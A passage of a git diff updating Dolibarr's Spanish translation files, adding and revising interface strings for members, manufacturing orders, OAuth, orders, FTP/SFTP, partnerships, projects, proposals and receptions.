+Rate=Tipo +SupervisorNotFound=Supervisor no encontrado CopiedToClipboard=Copiado al portapapeles InformationOnLinkToContract=Este importe es solo el total de todas las líneas del contrato. No se toma en consideración ninguna noción de tiempo. ConfirmCancel=Estás seguro que quieres cancelar EmailMsgID=MsgID de e-mail +EmailDate=Fecha de correo electrónico +SetToStatus=Establecer en el estado %s SetToEnabled=Establecer como activado SetToDisabled=Establecer como desactivado ConfirmMassEnabling=confirmación de habilitación masiva @@ -1180,11 +1205,23 @@ Terminated=De baja AddLineOnPosition=Agregar línea en la posición (al final si está vacío) ConfirmAllocateCommercial=Asignar confirmación de representante de ventas ConfirmAllocateCommercialQuestion=¿Está seguro de que desea asignar los %sregistros seleccionados? -CommercialsAffected=Representantes de ventas afectados -CommercialAffected=Representante de ventas afectado +CommercialsAffected=Representantes de ventas asignados +CommercialAffected=Representante de ventas asignado YourMessage=Tu mensaje YourMessageHasBeenReceived=Tu mensaje ha sido recibido. Le responderemos o contactaremos con usted lo antes posible. UrlToCheck=URL para comprobar Automation=Automatización CreatedByEmailCollector=Creado por el recopilador de correo electrónico CreatedByPublicPortal=Creado desde el portal público +UserAgent=Agente de usuario +InternalUser=Usuario interno +ExternalUser=Usuario externo +NoSpecificContactAddress=Sin contacto o dirección específica +NoSpecificContactAddressBis=Esta pestaña está dedicada a forzar contactos o direcciones específicas para el objeto actual. Úselo solo si desea definir uno o varios contactos o direcciones específicas para el objeto cuando la información sobre el tercero no es suficiente o no es precisa. +HideOnVCard=Ocultar %s +AddToContacts=Agregar dirección a mis contactos +LastAccess=Ultimo acceso +UploadAnImageToSeeAPhotoHere=Sube una imagen de la pestaña %s para ver una foto aquí +LastPasswordChangeDate=Última fecha de cambio de contraseña +PublicVirtualCardUrl=Virtual business card page +TreeView=Vista de árbol diff --git a/htdocs/langs/es_ES/members.lang b/htdocs/langs/es_ES/members.lang index d18c1e0136b..00b6c00a16e 100644 --- a/htdocs/langs/es_ES/members.lang +++ b/htdocs/langs/es_ES/members.lang @@ -15,6 +15,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Otro miembro (nombre: %s, logi ErrorUserPermissionAllowsToLinksToItselfOnly=Por razones de seguridad, debe poseer los derechos de modificación de todos los usuarios para poder vincular un miembro a un usuario que no sea usted mismo. SetLinkToUser=Vincular a un usuario Dolibarr SetLinkToThirdParty=Vincular a un tercero Dolibarr +MemberCountersArePublic=Los contadores de miembros válidos son públicos MembersCards=Generación de tarjetas para socios MembersList=Listado de miembros MembersListToValid=Listado de miembros borrador (a validar) @@ -34,7 +35,8 @@ DateSubscription=Fecha afiliación DateEndSubscription=Fecha fin afiliación EndSubscription=Fin afiliación SubscriptionId=ID afiliación -WithoutSubscription=Sin suscripción +WithoutSubscription=Sin membresía +WaitingSubscription=Membresía pendiente MemberId=Miembro ID MemberRef=Ref de miembro NewMember=Nuevo miembro @@ -72,6 +74,12 @@ MemberTypeCanNotBeDeleted=El tipo de miembro no puede ser eliminado NewSubscription=Nueva afiliación NewSubscriptionDesc=Utilice este formulario para registrarse como un nuevo miembro de la asociación. Para una renovación, si ya es miembro, póngase en contacto con la asociación a través del e-mail %s. Subscription=Afiliación +AnyAmountWithAdvisedAmount=Cualquier cantidad de su elección, recomendado %s +AnyAmountWithoutAdvisedAmount=Cualquier cantidad de su elección +CanEditAmountShort=Cualquier importe +CanEditAmountShortForValues=recomendado, cualquier importe +MembershipDuration=Duración +GetMembershipButtonLabel=Unirse Subscriptions=Afiliaciones SubscriptionLate=En retraso SubscriptionNotReceived=Afiliación no recibida @@ -136,7 +144,7 @@ CardContent=Contenido de su ficha de miembro # Text of email templates ThisIsContentOfYourMembershipRequestWasReceived=Queremos informarle que se ha solicitado una nueva membresía.

      ThisIsContentOfYourMembershipWasValidated=Queremos hacerle saber que su membresía fue validada con la siguiente información:

      -ThisIsContentOfYourSubscriptionWasRecorded=Queremos informarle que su nueva suscripción fue grabada.

      +ThisIsContentOfYourSubscriptionWasRecorded=Queremos informarle que se registró su nueva suscripción. Encuentre su factura aquí adjunta.

      ThisIsContentOfSubscriptionReminderEmail=Queremos informarle que su nueva suscripción está a punto o ha expirado (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). Esperamos que pueda renovarla

      ThisIsContentOfYourCard=Este es un recordatorio de la información que obtenemos sobre usted. No dude en contactar con nosotros si algo le parece incorrecto.

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Asunto del e-mail recibido en caso de auto-inscripción de un invitado @@ -198,9 +206,12 @@ SubscriptionsStatistics=Estadísticas de suscripciones NbOfSubscriptions=Número de cotizaciones AmountOfSubscriptions=Cantidad recaudada de las suscripciones TurnoverOrBudget=Volumen de ventas (empresa) o Presupuesto (asociación o colectivo) -DefaultAmount=Importe por defecto cotización -CanEditAmount=El visitante puede elegir/modificar el importe de su cotización -MEMBER_NEWFORM_PAYONLINE=Ir a la página integrada de pago en línea +DefaultAmount=Default amount of contribution (used only if no amount is defined at member type level) +MinimumAmount=Minimum amount (used only when contribution amount is free) +CanEditAmount=El monto de la suscripción es gratis +CanEditAmountDetail=El visitante puede elegir/editar el importe de su contribución independientemente del tipo de miembro +AmountIsLowerToMinimumNotice=sobre una deuda total de %s +MEMBER_NEWFORM_PAYONLINE=Después del registro en línea, cambie automáticamente a la página de pago en línea ByProperties=Por naturaleza MembersStatisticsByProperties=Estadísticas de los miembros por naturaleza VATToUseForSubscriptions=Tasa de IVA para las afiliaciones @@ -221,3 +232,4 @@ CreateDolibarrLoginDesc=La creación de un login de usuario para los miembros le CreateDolibarrThirdPartyDesc=Un tercero es la entidad legal que se utilizará en la factura si decide generar una factura para cada contribución. Podrá crearlo más tarde durante el proceso de registro de la contribución. MemberFirstname=Nombre del miembro MemberLastname=Apellido del miembro +MemberCodeDesc=Código de miembro, único para todos los miembros diff --git a/htdocs/langs/es_ES/mrp.lang b/htdocs/langs/es_ES/mrp.lang index f7567b70703..9acab0b9cf3 100644 --- a/htdocs/langs/es_ES/mrp.lang +++ b/htdocs/langs/es_ES/mrp.lang @@ -11,8 +11,8 @@ Bom=Lista de materiales BillOfMaterials=Lista de materiales BillOfMaterialsLines=Líneas de lista de materiales BOMsSetup=Configuración del módulo BOM -ListOfBOMs=Lista de facturas de materiales - BOM -ListOfManufacturingOrders=Listado de Órdenes de Fabricación +ListOfBOMs=Listas de materiales - BOM +ListOfManufacturingOrders=Órdenes de fabricación NewBOM=Nueva lista de materiales ProductBOMHelp=Producto para crear (o desmontar) con esta lista de materiales.
      Nota: Los productos con la propiedad 'Naturaleza del producto' = 'Materia prima' no están visibles en esta lista. BOMsNumberingModules=Modelos de numeración BOM @@ -27,6 +27,7 @@ ConfirmCloneBillOfMaterials=¿Está seguro de que desea clonar la lista de mater ConfirmCloneMo=¿Esta seguro de querer clonar la Orden de Fabricación %s? ManufacturingEfficiency=Eficiencia de fabricación ConsumptionEfficiency=Eficiencia de consumo +Consumption=Consumo ValueOfMeansLoss=El valor de 0.95 significa un promedio de 5%% de pérdida durante la producción ValueOfMeansLossForProductProduced=El valor de 0.95 significa un promedio de 5%% de pérdida del producto producido DeleteBillOfMaterials=Eliminar Lista de material @@ -82,6 +83,7 @@ ProductsToProduce=Productos para producir UnitCost=Costo unitario TotalCost=Coste total BOMTotalCost=El costo para producir esta Lista de Materiales en función del costo de cada cantidad y producto a consumir (use el precio de costo si está definido, de lo contrario, el precio promedio ponderado si está definido, o el mejor precio de compra) +BOMTotalCostService=Si el módulo "Estación de trabajo" está activado y una estación de trabajo está definida por defecto en la línea, entonces el cálculo es "cantidad (convertida en horas) x hora estación de trabajo", de lo contrario, "cantidad (convertida en horas) x precio de costo del servicio" GoOnTabProductionToProduceFirst=Primero debe haber iniciado la producción para cerrar una orden de fabricación (consulte la pestaña '%s'). Pero puedes cancelarlo. ErrorAVirtualProductCantBeUsedIntoABomOrMo=Un kit no se puede usar en una Lista de Materiales (BOM) o una Orden de Fabricación (MO) Workstation=Puesto de trabajo @@ -100,6 +102,7 @@ NbOperatorsRequired=Número de operadores necesarios THMOperatorEstimated=THM estimado del operador THMMachineEstimated=THM estimado de la máquina WorkstationType=Tipo de estación de trabajo +DefaultWorkstation=Estación de trabajo predeterminada Human=Humano Machine=Máquina HumanMachine=Humano / Máquina @@ -109,6 +112,10 @@ THMEstimatedHelp=Esta tarifa permite definir un costo de previsión del artícul BOM=Lista de materiales CollapseBOMHelp=Puede definir la visualización predeterminada de los detalles de la nomenclatura en la configuración del módulo Lista de Materiales MOAndLines=Órdenes de fabricación y líneas -MoChildGenerate=Generate Child Mo -ParentMo=MO Parent -MOChild=MO Child +MoChildGenerate=Generar MO hijo +ParentMo=MO Padre +MOChild=MO Hijo +BomCantAddChildBom=La nomenclatura %s ya está presente en el árbol que conduce a la nomenclatura %s +BOMNetNeeds = Necesidades netas de la lista de materiales +BOMProductsList=Productos de BOM +BOMServicesList=Servicios de BOM diff --git a/htdocs/langs/es_ES/oauth.lang b/htdocs/langs/es_ES/oauth.lang index c013fee5b5e..ea5c09712a3 100644 --- a/htdocs/langs/es_ES/oauth.lang +++ b/htdocs/langs/es_ES/oauth.lang @@ -9,6 +9,7 @@ HasAccessToken=Se ha generado y guardado en la base de datos local un token NewTokenStored=Token recibido y guardado ToCheckDeleteTokenOnProvider=Haga clic aquí para comprobar/eliminar la autorización guardada por el proveedor de OAuth %s TokenDeleted=Token eliminado +GetAccess=Haga clic aquí para obtener un token RequestAccess=Haga clic aquí para solicitar/renovar el acceso y recibir un nuevo token DeleteAccess=Haga clic aquí para eliminar el token UseTheFollowingUrlAsRedirectURI=Utilice la siguiente dirección URL como redireccionamiento URI al crear su credencial de su proveedor OAuth: @@ -30,7 +31,11 @@ OAUTH_GITHUB_SECRET=Oauth GitHub Secret OAUTH_URL_FOR_CREDENTIAL=Vaya a esta página para crear u obtener su ID y secreto de OAuth OAUTH_STRIPE_TEST_NAME=OAuth Stripe Test OAUTH_STRIPE_LIVE_NAME=OAuth Stripe Live -OAUTH_ID=ID de OAuth +OAUTH_ID=OAuth Client ID OAUTH_SECRET=Secreto OAuth +OAUTH_TENANT=OAuth tenant OAuthProviderAdded=Proveedor de OAuth agregado AOAuthEntryForThisProviderAndLabelAlreadyHasAKey=Ya existe una entrada de OAuth para este proveedor y etiqueta +URLOfServiceForAuthorization=URL proporcionada por el servicio OAuth para la autenticación +Scopes=Permisos (Ámbitos) +ScopeUndefined=Permisos (Ámbitos) indefinidos (ver pestaña anterior) diff --git a/htdocs/langs/es_ES/orders.lang b/htdocs/langs/es_ES/orders.lang index ca42b8cba96..8a5a494940a 100644 --- a/htdocs/langs/es_ES/orders.lang +++ b/htdocs/langs/es_ES/orders.lang @@ -96,6 +96,10 @@ OrdersStatisticsSuppliers=Estadísticas de pedidos a proveedores NumberOfOrdersByMonth=Número de pedidos por mes AmountOfOrdersByMonthHT=Importe total de pedidos por mes (sin IVA) ListOfOrders=Listado de pedidos +ListOrderLigne=Lineas de pedidos +productobuy=Productos para comprar solo +productonly=Solo productos +disablelinefree=Sin líneas libres CloseOrder=Cerrar pedido ConfirmCloseOrder=¿Está seguro de querer clasificar este pedido como enviado? Una vez enviado un pedido, solo podrá facturarse ConfirmDeleteOrder=¿Está seguro de querer eliminar este pedido? @@ -131,6 +135,7 @@ SupplierOrderClassifiedBilled=Pedido a proveedor %s clasificado como facturado OtherOrders=Otros pedidos SupplierOrderValidatedAndApproved=El pedido del proveedor está validado y aprobado: %s SupplierOrderValidated=El pedido del proveedor está validado: %s +OrderShowDetail=Mostrar detalle del pedido ##### Types de contacts ##### TypeContact_commande_internal_SALESREPFOLL=Responsable seguimiento pedido cliente TypeContact_commande_internal_SHIPPING=Responsable envío pedido cliente @@ -199,3 +204,5 @@ StatusSupplierOrderApproved=Aprobado StatusSupplierOrderRefused=Rechazado StatusSupplierOrderReceivedPartially=Recibido parcialmente StatusSupplierOrderReceivedAll=Todos los productos recibidos +NeedAtLeastOneInvoice = Tiene que haber al menos una Factura +LineAlreadyDispatched = La línea de pedido ya se recibió. diff --git a/htdocs/langs/es_ES/other.lang b/htdocs/langs/es_ES/other.lang index 93be155cdcd..6dafd0a7044 100644 --- a/htdocs/langs/es_ES/other.lang +++ b/htdocs/langs/es_ES/other.lang @@ -46,7 +46,9 @@ Notify_ORDER_SUPPLIER_APPROVE=Aprobación pedido a proveedor Notify_ORDER_SUPPLIER_REFUSE=Rechazo pedido a proveedor Notify_PROPAL_VALIDATE=Validación presupuesto cliente Notify_PROPAL_CLOSE_SIGNED=Presupuesto cerrado como firmado +Notify_PROPAL_CLOSE_SIGNED_WEB=Presupuesto de cliente cerrado y firmado en la página del portal Notify_PROPAL_CLOSE_REFUSED=Presupuesto cerrado como rechazado +Notify_PROPAL_CLOSE_REFUSED_WEB=Presupuesto de cliente cerrado y rechazado en la página del portal Notify_PROPAL_SENTBYMAIL=Envío presupuesto por e-mail Notify_WITHDRAW_TRANSMIT=Transmisión domiciliación Notify_WITHDRAW_CREDIT=Abono domiciliación @@ -181,6 +183,7 @@ SizeUnitfoot=pie SizeUnitpoint=punto BugTracker=Incidencias SendNewPasswordDesc=Este formulario le permite obtener una nueva contraseña. Le será enviada a su e-mail.
      El cambio será efectivo una vez haga clic en el enlace de confirmación del e-mail.
      Revise su e-mail. +EnterNewPasswordHere=Ingrese su nueva contraseña aquí BackToLoginPage=Volver a la página de conexión AuthenticationDoesNotAllowSendNewPassword=El modo de autentificación de Dolibarr está configurado como "%s".
      En este modo Dolibarr no puede conocer ni modificar su contraseña
      Contacte con su administrador para conocer las modalidades de cambio. EnableGDLibraryDesc=Instale o active la libreria GD en su PHP para poder usar esta opción @@ -210,6 +213,9 @@ EMailTextInvoiceValidated=Factura %s ha sido validada. EMailTextInvoicePayed=La factura %s ha sido pagada. EMailTextProposalValidated=El presupuesto %s ha sido validado. EMailTextProposalClosedSigned=El presupuesto %s ha sido cerrado y firmado. +EMailTextProposalClosedSignedWeb=El presupuesto %s se ha cerrado y firmado en la página del portal. +EMailTextProposalClosedRefused=El presupuesto %s ha sido cerrado y rechazado. +EMailTextProposalClosedRefusedWeb=El presupuesto %s se ha cerrado y rechazado en la página del portal. EMailTextOrderValidated=El pedido %s ha sido validado. EMailTextOrderApproved=El pedido %s ha sido aprobado EMailTextOrderValidatedBy=El pedido %s ha sido registrado por %s. @@ -311,10 +317,10 @@ ExternalSiteURL=URL del sitio externo de contenido de iframe HTML ExternalSiteModuleNotComplete=El módulo Sitio web externo no ha sido configurado correctamente. ExampleMyMenuEntry=Mi entrada de menú -# FTP +# ftp FTPClientSetup=Configuración del módulo de cliente FTP o SFTP -NewFTPClient=Nueva configuración de conexión FTP / FTPS -FTPArea=Área FTP / FTPS +NewFTPClient=Nueva configuración de conexión FTP/SFTP +FTPArea=Área FTP/SFTP FTPAreaDesc=Esta pantalla muestra una vista de un servidor FTP y SFTP. SetupOfFTPClientModuleNotComplete=La configuración del módulo de cliente FTP o SFTP parece estar incompleta FTPFeatureNotSupportedByYourPHP=Su PHP no admite funciones FTP o SFTP @@ -325,3 +331,9 @@ FTPFailedToRemoveDir=No se pudo eliminar el directorio %s (Compruebe los FTPPassiveMode=Modo pasivo ChooseAFTPEntryIntoMenu=Elija un sitio FTP / SFTP del menú ... FailedToGetFile=No se pudieron obtener los archivos %s +ErrorFTPNodisconnect=Error al desconectar el servidor FTP/SFTP +FileWasUpload=Se ha cargado el archivo %s +FTPFailedToUploadFile=No se pudo cargar el archivo %s . +AddFolder=Crear carpeta +FileWasCreateFolder=Se ha creado la carpeta %s +FTPFailedToCreateFolder=No se pudo crear la carpeta %s . diff --git a/htdocs/langs/es_ES/partnership.lang b/htdocs/langs/es_ES/partnership.lang index 14359e6c6ac..63cb40d2dfe 100644 --- a/htdocs/langs/es_ES/partnership.lang +++ b/htdocs/langs/es_ES/partnership.lang @@ -20,6 +20,7 @@ ModulePartnershipName=Gestión Asociaciones PartnershipDescription=Gestión Módulo Asociaciones PartnershipDescriptionLong= Gestión Módulo Asociaciones Partnership=Partner +Partnerships=Asociaciones AddPartnership=Agregar asociación CancelPartnershipForExpiredMembers=Asociación: cancelar la asociación de miembros con suscripciones caducadas PartnershipCheckBacklink=Asociación: compruebe el vínculo de retroceso de referencia @@ -28,6 +29,7 @@ PartnershipCheckBacklink=Asociación: compruebe el vínculo de retroceso de refe # Menu # NewPartnership=Nueva Asociación +NewPartnershipbyWeb=Your partnership request has been added successfully. We may contact you soon... ListOfPartnerships=Listado de Asociaciones # @@ -42,6 +44,7 @@ PARTNERSHIP_BACKLINKS_TO_CHECK=Backlinks para comprobar PARTNERSHIP_NBDAYS_AFTER_MEMBER_EXPIRATION_BEFORE_CANCEL=Número de días antes de cancelar el estado de una asociación cuando una suscripción ha expirado ReferingWebsiteCheck=Comprobación de la referencia al sitio ReferingWebsiteCheckDesc=Puede habilitar una función para verificar que sus socios hayan agregado un vínculo de retroceso a los dominios de su sitio web en su propio sitio web. +PublicFormRegistrationPartnerDesc=Dolibarr puede proporcionarle una URL/sitio web público para permitir que los visitantes externos soliciten ser parte del programa de asociación. # # Object @@ -59,6 +62,12 @@ BacklinkNotFoundOnPartnerWebsite=Vínculo de retroceso no encontrado en el sitio ConfirmClosePartnershipAsk=¿Está seguro de que desea cancelar esta asociación? PartnershipType=Tipo de asociación PartnershipRefApproved=Asociación %s aprobada +KeywordToCheckInWebsite=Si desea verificar que una palabra clave determinada esté presente en el sitio web de cada socio, defina esta palabra clave aquí +PartnershipDraft=Borrador +PartnershipAccepted=Aceptado +PartnershipRefused=Rechazado +PartnershipCanceled=Anulado +PartnershipManagedFor=Los Partners son # # Template Mail @@ -82,11 +91,6 @@ CountLastUrlCheckError=Número de errores para la última verificación de URL LastCheckBacklink=Fecha de la última verificación de URL ReasonDeclineOrCancel=Razón de rechazo -# -# Status -# -PartnershipDraft=Borrador -PartnershipAccepted=Aceptado -PartnershipRefused=Rechazado -PartnershipCanceled=Anulado -PartnershipManagedFor=Los Partners son +NewPartnershipRequest=Nueva solicitud de asociación +NewPartnershipRequestDesc=Este formulario le permite solicitar ser parte de uno de nuestros programas de asociación. Si necesita ayuda para completar este formulario, comuníquese por correo electrónico %s . + diff --git a/htdocs/langs/es_ES/paypal.lang b/htdocs/langs/es_ES/paypal.lang index fe9b97d6a19..daf565deb6d 100644 --- a/htdocs/langs/es_ES/paypal.lang +++ b/htdocs/langs/es_ES/paypal.lang @@ -34,3 +34,4 @@ ARollbackWasPerformedOnPostActions=Se realizó una reversión en todas las accio ValidationOfPaymentFailed=La validación del pago Paypal ha fallado CardOwner=Titular de la tarjeta PayPalBalance=Crédito paypal +OnlineSubscriptionPaymentLine=Suscripción en línea registrada en %s
      Pagada a través de %s
      Dirección IP de origen: %s
      ID de transacción: %s diff --git a/htdocs/langs/es_ES/productbatch.lang b/htdocs/langs/es_ES/productbatch.lang index a6281edf01a..beb5d9b7194 100644 --- a/htdocs/langs/es_ES/productbatch.lang +++ b/htdocs/langs/es_ES/productbatch.lang @@ -17,6 +17,7 @@ printBatch=Lote/Serie %s printEatby=Caducidad: %s printSellby=Límite venta: %s printQty=Cant.: %d +printPlannedWarehouse=Almacén: %s AddDispatchBatchLine=Añada una línea para despacho por caducidad WhenProductBatchModuleOnOptionAreForced=Cuando el módulo de lotes/series está activado, el incremento y disminución de stock se fuerza en la validación de los envíos y la recepción manual y no se puede editar. Las otras opciones pueden ser definidas como desee. ProductDoesNotUseBatchSerial=Este producto no usa lotes/series @@ -43,3 +44,4 @@ HideLots=Ocultar lotes OutOfOrder=Fuera de servicio InWorkingOrder=En orden de trabajo ToReplace=Reemplazar +CantMoveNonExistantSerial=Error. Pides un movimiento en un registro de una serie que ya no existe. Puede ser que tome la misma serie en el mismo almacén varias veces en el mismo envío o que haya sido utilizada por otro envío. Retire este envío y prepare otro. diff --git a/htdocs/langs/es_ES/projects.lang b/htdocs/langs/es_ES/projects.lang index c82be3e68e5..93aa683671a 100644 --- a/htdocs/langs/es_ES/projects.lang +++ b/htdocs/langs/es_ES/projects.lang @@ -23,6 +23,7 @@ TasksPublicDesc=Esta vista muestra todos los proyectos y tareas en los que usted TasksDesc=Esta vista muestra todos los proyectos y tareas (sus permisos de usuario le permiten tener una visión completa). AllTaskVisibleButEditIfYouAreAssigned=Todas las tareas de este proyecto son visibles, pero solo puede indicar tiempos en las tareas que tenga asignadas. Asígnese tareas si desea indicar tiempos en ellas. OnlyYourTaskAreVisible=Solo las tareas asignadas a usted son visibles. Si necesita ingresar el tiempo en una tarea y si la tarea no está visible aquí, entonces debe asignarse la tarea a usted mismo. +ImportDatasetProjects=Proyectos u oportunidades ImportDatasetTasks=Tareas de proyectos ProjectCategories=Etiquetas/categorías de proyectos NewProject=Nuevo proyecto @@ -37,7 +38,9 @@ OpportunitiesStatusForOpenedProjects=Importe oportunidades de proyectos por esta OpportunitiesStatusForProjects=Importe oportunidades de proyectos por estado ShowProject=Ver proyecto ShowTask=Ver tarea +SetThirdParty=Establecer tercero SetProject=Definir proyecto +OutOfProject=Fuera del proyecto NoProject=Ningún proyecto definido NbOfProjects=Numero de proyectos NbOfTasks=Numero de tareas @@ -122,7 +125,8 @@ ValidateProject=Validar proyecto ConfirmValidateProject=¿Está seguro de querer validar este proyecto? CloseAProject=Cerrar proyecto ConfirmCloseAProject=¿Está seguro de querer cerrar este proyecto? -AlsoCloseAProject=Cerrar también el proyecto (mantener abierto si todavía necesita seguir las tareas de producción en él) +AlsoCloseAProject=Also close project +AlsoCloseAProjectTooltip=Keep it open if you still need to follow production tasks on it ReOpenAProject=Reabrir proyecto ConfirmReOpenAProject=Está seguro de querer reabrir este proyecto? ProjectContact=Contactos del proyecto @@ -165,7 +169,7 @@ OpportunityProbability=Probabilidad de oportunidades OpportunityProbabilityShort=Prob. Opor. OpportunityAmount=Importe oportunidad OpportunityAmountShort=Importe oportunidad -OpportunityWeightedAmount=Cantidad ponderada de oportunidad +OpportunityWeightedAmount=Amount of opportunity, weighted by probability OpportunityWeightedAmountShort=Cantidad ponderada op. OpportunityAmountAverageShort=Importe medio oportunidad OpportunityAmountWeigthedShort=Importe ponderado oportunidad @@ -238,7 +242,7 @@ OppStatusPENDING=Pendiente OppStatusWON=Ganado OppStatusLOST=Perdido Budget=Presupuesto -AllowToLinkFromOtherCompany=Permitir vincular proyecto de otra empresa

      Valores admitidos:
      - Mantener vacío: puede vincular cualquier proyecto de la empresa (predeterminado)
      - "all": puede vincular cualquier proyecto, incluso proyectos de otras empresas
      - Una lista de identificación de terceros separada por comas: puede vincular todos los proyectos de esos terceros definidos (Ejemplo: 123,4795,53)
      +AllowToLinkFromOtherCompany=Permitir vincular un elemento con un proyecto de otra empresa

      Valores admitidos:
      - Mantener vacío: puede vincular elementos con cualquier proyecto de la misma empresa (predeterminado)
      - "all": puede vincular elementos con cualquier proyecto, incluso proyectos de otras empresas
      - Una lista de ID de terceros separados por comas: puede vincular elementos con cualquier proyecto de estos terceros (Ejemplo: 123,4795,53)
      LatestProjects=Últimos %s presupuestos LatestModifiedProjects=Últimos %s proyectos modificados OtherFilteredTasks=Otras tareas filtradas @@ -259,7 +263,7 @@ TimeSpentInvoiced=Tiempo transcurrido facturado TimeSpentForIntervention=Tiempos dedicados TimeSpentForInvoice=Tiempos dedicados OneLinePerUser=Una línea por usuario -ServiceToUseOnLines=Servicio a utilizar en lineas. +ServiceToUseOnLines=Servicio a utilizar en líneas por defecto InvoiceGeneratedFromTimeSpent=Se ha generado la factura %s a partir del tiempo empleado en el proyecto InterventionGeneratedFromTimeSpent=Se ha generado la intervención %s a partir del tiempo empleado en el proyecto ProjectBillTimeDescription=Verifique si ingresa la hoja de horas trabajadas en las tareas del proyecto y planea generar factura(s) a partir de la hoja para facturar al cliente del proyecto (no lo verifique si planea crear una factura que no se base en las hojas de horas trabajadas ingresadas). Nota: Para generar la factura, vaya a la pestaña 'Tiempo empleado' del proyecto y seleccione las líneas a incluir. @@ -282,7 +286,7 @@ ProfitIsCalculatedWith=El beneficio se calcula usando AddPersonToTask=Agregar también a las tareas UsageOrganizeEvent=Uso: Organización de eventos PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=Clasifique el proyecto como cerrado cuando se completen todas sus tareas (progreso 100%%) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Nota: los proyectos existentes con todas las tareas en 100%% no se verán afectados: tendrás que cerrarlos manualmente. Esta opción solo afecta a proyectos abiertos. +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Nota: los proyectos existentes con todas las tareas ya configuradas en un progreso de 100%% no se verán afectados: deberá cerrarlos manualmente. Esta opción solo afecta a los proyectos abiertos. SelectLinesOfTimeSpentToInvoice=Seleccione las líneas de tiempo invertido que no se hayan facturado y, a continuación, realice la acción masiva "Generar factura" para facturarlas. ProjectTasksWithoutTimeSpent=Tareas de proyecto sin tiempo invertido FormForNewLeadDesc=Gracias por llenar el siguiente formulario para contactarnos. También puede enviarnos un e-mail directamente a %s. @@ -294,3 +298,4 @@ EnablePublicLeadForm=Habilitar el formulario público de contacto NewLeadbyWeb=Su mensaje o solicitud ha sido grabada. Le responderemos o contactaremos con usted pronto. NewLeadForm=Nuevo formulario de contacto LeadFromPublicForm=Cliente potencial en línea desde un formulario público +ExportAccountingReportButtonLabel=Obtener informe diff --git a/htdocs/langs/es_ES/propal.lang b/htdocs/langs/es_ES/propal.lang index 159daf31178..9eb5f02bdd7 100644 --- a/htdocs/langs/es_ES/propal.lang +++ b/htdocs/langs/es_ES/propal.lang @@ -65,53 +65,54 @@ AvailabilityPeriod=Tiempo de entrega SetAvailability=Definir el tiempo de entrega AfterOrder=desde la firma OtherProposals=Otros presupuestos + ##### Availability ##### AvailabilityTypeAV_NOW=Inmediata AvailabilityTypeAV_1W=1 semana AvailabilityTypeAV_2W=2 semanas AvailabilityTypeAV_3W=3 semanas AvailabilityTypeAV_1M=1 mes -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=Comercial seguimiento presupuesto TypeContact_propal_external_BILLING=Contacto cliente de facturación presupuesto TypeContact_propal_external_CUSTOMER=Contacto cliente seguimiento presupuesto TypeContact_propal_external_SHIPPING=Contacto cliente para envíos + # Document models -DocModelAzurDescription=Un modelo de presupuesto completa (implementación anterior de la plantilla Cyan) -DocModelCyanDescription=Un modelo de presupuesto completo -DefaultModelPropalCreate=Modelo por defecto -DefaultModelPropalToBill=Modelo por defecto al cerrar un presupuesto (a facturar) -DefaultModelPropalClosed=Modelo por defecto al cerrar un presupuesto (no facturado) -ProposalCustomerSignature=Aceptación por escrito, sello de la empresa, fecha y firma -ProposalsStatisticsSuppliers=Estadísticas presupuestos de proveedores -CaseFollowedBy=Caso seguido por -SignedOnly=Solo firmado -NoSign=Establecer no firmado -NoSigned=establecer no firmado CantBeNoSign=no se puede establecer no firmado +CaseFollowedBy=Caso seguido por ConfirmMassNoSignature=Confirmación masiva no firmado ConfirmMassNoSignatureQuestion=¿Está seguro de que desea configurar los registros seleccionados como no firmados? -IsNotADraft=no es un borrador -PassedInOpenStatus=ha sido validado -Sign=Firma -Signed=firmado -ConfirmMassValidation=Confirmación de validación masiva ConfirmMassSignature=Confirmación de firma masiva -ConfirmMassValidationQuestion=¿Está seguro de que desea validar los registros seleccionados? ConfirmMassSignatureQuestion=¿Está seguro de que desea firmar los registros seleccionados? -IdProposal=ID de Presupuesto +ConfirmMassValidation=Confirmación de validación masiva +ConfirmMassValidationQuestion=¿Está seguro de que desea validar los registros seleccionados? +ConfirmRefusePropal=¿Está seguro de querer rechazar este presupuesto? +ContractSigned=Contrato firmado +DefaultModelPropalClosed=Modelo por defecto al cerrar un presupuesto (no facturado) +DefaultModelPropalCreate=Modelo por defecto +DefaultModelPropalToBill=Modelo por defecto al cerrar un presupuesto (a facturar) +DocModelAzurDescription=Un modelo de presupuesto completa (implementación anterior de la plantilla Cyan) +DocModelCyanDescription=Un modelo de presupuesto completo +FichinterSigned=Intervención firmada IdProduct=ID del Producto +IdProposal=ID de Presupuesto +IsNotADraft=no es un borrador LineBuyPriceHT=Precio de compra Importe neto de impuestos por línea -SignPropal=Aceptar presupuesto -SignContract=Firmar contrato -SignFichinter=Firmar intervención +NoSign=Rechazar +NoSigned=establecer no firmado +PassedInOpenStatus=ha sido validado +PropalAlreadyRefused=Presupuesto ya rechazado +PropalAlreadySigned=Presupuesto ya aceptado +PropalRefused=Presupuesto rechazado +PropalSigned=Presupuesto aceptado +ProposalCustomerSignature=Aceptación por escrito, sello de la empresa, fecha y firma +ProposalsStatisticsSuppliers=Estadísticas presupuestos de proveedores RefusePropal=Rechazar presupuesto Sign=Firma -NoSign=Establecer no firmado -PropalAlreadySigned=Presupuesto ya aceptado -PropalAlreadyRefused=Presupuesto ya rechazado -PropalSigned=Presupuesto aceptado -ContractSigned=Contrato firmado -FichinterSigned=Intervención firmada -PropalRefused=Presupuesto rechazado -ConfirmRefusePropal=¿Está seguro de querer rechazar este presupuesto? +SignContract=Firmar contrato +SignFichinter=Firmar intervención +SignPropal=Aceptar presupuesto +Signed=firmado +SignedOnly=Solo firmado diff --git a/htdocs/langs/es_ES/receptions.lang b/htdocs/langs/es_ES/receptions.lang index b6f437b9d45..c7d6f1f7e3c 100644 --- a/htdocs/langs/es_ES/receptions.lang +++ b/htdocs/langs/es_ES/receptions.lang @@ -32,6 +32,7 @@ StatusReceptionDraftShort=Borrador StatusReceptionValidatedShort=Validado StatusReceptionProcessedShort=Procesados ReceptionSheet=Hoja de recepción +ValidateReception=Validar recepción ConfirmDeleteReception=¿Está seguro de querer eliminar esta recepción? ConfirmValidateReception=¿Está seguro de querer validar esta recepción 